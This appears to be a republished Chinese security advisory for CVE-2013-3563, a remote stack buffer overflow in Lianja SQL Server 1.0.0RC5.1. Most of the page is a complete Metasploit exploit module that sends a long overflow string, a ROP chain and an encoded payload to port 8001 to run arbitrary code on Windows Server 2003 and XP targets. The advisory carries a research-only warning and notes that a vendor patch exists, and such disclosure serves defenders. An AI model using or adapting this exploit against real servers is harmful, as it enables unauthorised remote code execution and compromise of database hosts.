netserver' 远程栈缓冲区溢出漏洞(CVE

发布日期:2013-05-22
更新日期:2013-06-04

受影响系统:
lianja Lianja SQL Server 1.0.0RC5.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 60242
 CVE(CAN) ID: CVE-2013-3563
 
Lianja SQL Server是一个数据库服务器,可以存储数据并提供SQL服务。
 
Lianja SQL Server引发的db_netserver进程中存在栈缓冲区溢出,攻击者可利用此漏洞在受影响服务器上下文中执行任意代码。
 
<*来源:vendor
 
  链接:
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # web site for more information on licensing and terms of use.
 # 
 ##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::RopDb
 
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the db_netserver process which
        is spawned by the Lianja SQL server.  The issue is fixed in Lianja SQL 1.0.0RC5.2.
      },
      'Author'        => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'References'    => [
        [ 'CVE', '2013-3563' ]
      ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 20
        },
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
          'Space'          => 500,
          'BadChars'        => "\x01"
        },
      'Targets'        =>
        [
          [ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
          [ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'    => true,
      'DisclosureDate' => 'May 22 2013'))
 
    register_options(
      [
        Opt::RPORT(8001),
      ], self.class)
  end
 
  def check
    begin
      connect
    rescue
      return Exploit::CheckCode::Safe
    end
    sock.put("db_net")
    if sock.recv(4) =~ /\d{1,5}/
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    connect
    sock.put("db_net")
    sock.recv(4)
 
    print_status("#{rhost}:#{rport} - Sending Malicious Data")
    evil_data =  '000052E1'
    evil_data << 'A'
    evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
    evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
    sock.put(evil_data)
    disconnect
  end
 end

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
lianja
 ------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/psgyj.html